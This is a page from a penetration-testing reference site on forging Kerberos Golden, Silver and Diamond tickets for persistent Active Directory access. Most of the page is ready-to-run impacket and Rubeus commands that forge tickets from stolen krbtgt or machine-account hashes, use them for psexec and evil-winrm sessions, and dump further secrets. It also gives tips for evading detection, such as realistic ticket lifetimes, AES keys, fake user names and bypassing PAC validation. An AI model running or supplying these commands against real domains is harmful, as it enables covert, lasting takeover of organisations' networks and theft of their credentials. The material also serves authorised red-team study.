# Golden and Silver Ticket Persistence

> Forging Kerberos golden (krbtgt) and silver (service account) tickets for persistent AD access, bypassing standard authentication controls.

- **URL:** https://hackindex.io/platforms/active-directory/persistence/golden-and-silver-ticket-persistence
- **Path:** Active Directory > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/active-directory/persistence.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

Golden and Silver Tickets are forged Kerberos tickets that give persistent authenticated access to domain resources without using real credentials. A Golden Ticket is a forged TGT signed with the `krbtgt` hash: valid for any service in the domain. A Silver Ticket is a forged TGS for a specific service, signed with that service account's hash. Both remain valid until the signing account's password is changed.

- Golden Ticket: forged TGT signed with krbtgt hash, valid domain-wide
- Silver Ticket: forged TGS signed with service account hash, targets one service
- Diamond Ticket: modified legitimate TGT, bypasses PAC validation checks
- Golden Ticket requires two krbtgt rotations to invalidate
- Silver Ticket invalidated when the service account password changes

## Golden Ticket: domain-wide persistence

A Golden Ticket requires the `krbtgt` NT hash and the domain SID. Both come from DCSync: see [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover).

**Forge Golden Ticket with impacket**

```bash
# Get domain SID
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --get-sid
# Or from secretsdump output

# Forge Golden Ticket: valid 10 years by default
impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass
impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass

# Forge for non-existent user (harder to detect by user monitoring)
impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN ghost_admin
# [*] Creating basic skeleton ticket and PAC Infos
# [*] Signing/Encrypting final ticket
# [*] Saving ticket in Administrator.ccache
```

**Forge Golden Ticket with realistic lifetime**

```bash
# Default mimikatz/impacket Golden Tickets have 10-year lifetime
# This is detectable: use domain-default values instead

# Domain defaults: 10 hour lifetime, 7 day renewal
impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -duration 10 -extra-pac Administrator

# Use AES256 key instead of NT hash (less detectable)
# Get AES256 key from secretsdump output: look for aes256_hmac
impacket-ticketer -aesKey $KRBTGT_AES256 -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
```

**Golden Ticket with Rubeus (from Windows foothold)**

```powershell
# Forge and inject into current session
C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_NTHASH /ptt

# With AES256 (preferred)
C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /aes256:$KRBTGT_AES256 /ptt

# Save to file for later use
C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_NTHASH /outfile:golden.kirbi

# Verify ticket is loaded
klist
```

Golden Tickets remain valid until the `krbtgt` password is changed twice. Defenders who discover a Golden Ticket must rotate `krbtgt` twice to invalidate it: the first rotation does not immediately invalidate existing tickets because DCs may still have the old key cached. This makes Golden Tickets a very durable persistence mechanism.

## Silver Ticket: service-specific persistence

A Silver Ticket targets one specific service and is signed with that service account's hash rather than `krbtgt`. It does not require DC interaction to use and does not appear in Kerberos event logs on the DC: only on the target service host.

**Forge Silver Ticket with impacket**

```bash
# Silver Ticket for CIFS (SMB file access) on a specific host
# Requires the machine account hash of the target host
impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn cifs/$TARGET_COMPUTER.$DOMAIN Administrator

export KRB5CCNAME=Administrator.ccache
impacket-smbclient $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass

# Silver Ticket for HOST service (task scheduling, WMI)
impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn host/$TARGET_COMPUTER.$DOMAIN Administrator

# Silver Ticket for HTTP (WinRM)
impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn http/$TARGET_COMPUTER.$DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache
evil-winrm -i $TARGET_COMPUTER.$DOMAIN -u Administrator -r $DOMAIN
```

## Diamond Ticket: harder to detect than Golden

A Diamond Ticket modifies a legitimate TGT rather than forging one from scratch. It requests a real TGT from the KDC and patches it to add group memberships. Because it contains a valid PAC from the DC, it bypasses PAC validation checks that detect Golden Tickets.

**Diamond Ticket with Rubeus**

```bash
# Requires krbtgt AES256 key or NT hash
C:\Windows\Temp\Rubeus.exe diamond /domain:$DOMAIN /user:$USER /password:$PASSWORD /dc:$DC_HOSTNAME /enctype:aes /krbkey:$KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt

# Verify
klist
dir \\$DC_HOSTNAME\C$
```

Golden Tickets invalidated when `krbtgt` is rotated twice. Silver Tickets invalidated when the service account password changes. Diamond Tickets invalidated when `krbtgt` is rotated. For account-based persistence that survives ticket invalidation see [AD Account and ACL Persistence](https://hackindex.io/platforms/active-directory/persistence/ad-account-and-acl-persistence).

## References

- [Impacket ticketer: GitHub](https://github.com/fortra/impacket) - Golden and Silver Ticket forging with impacket
- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - golden, diamond, and ptt commands reference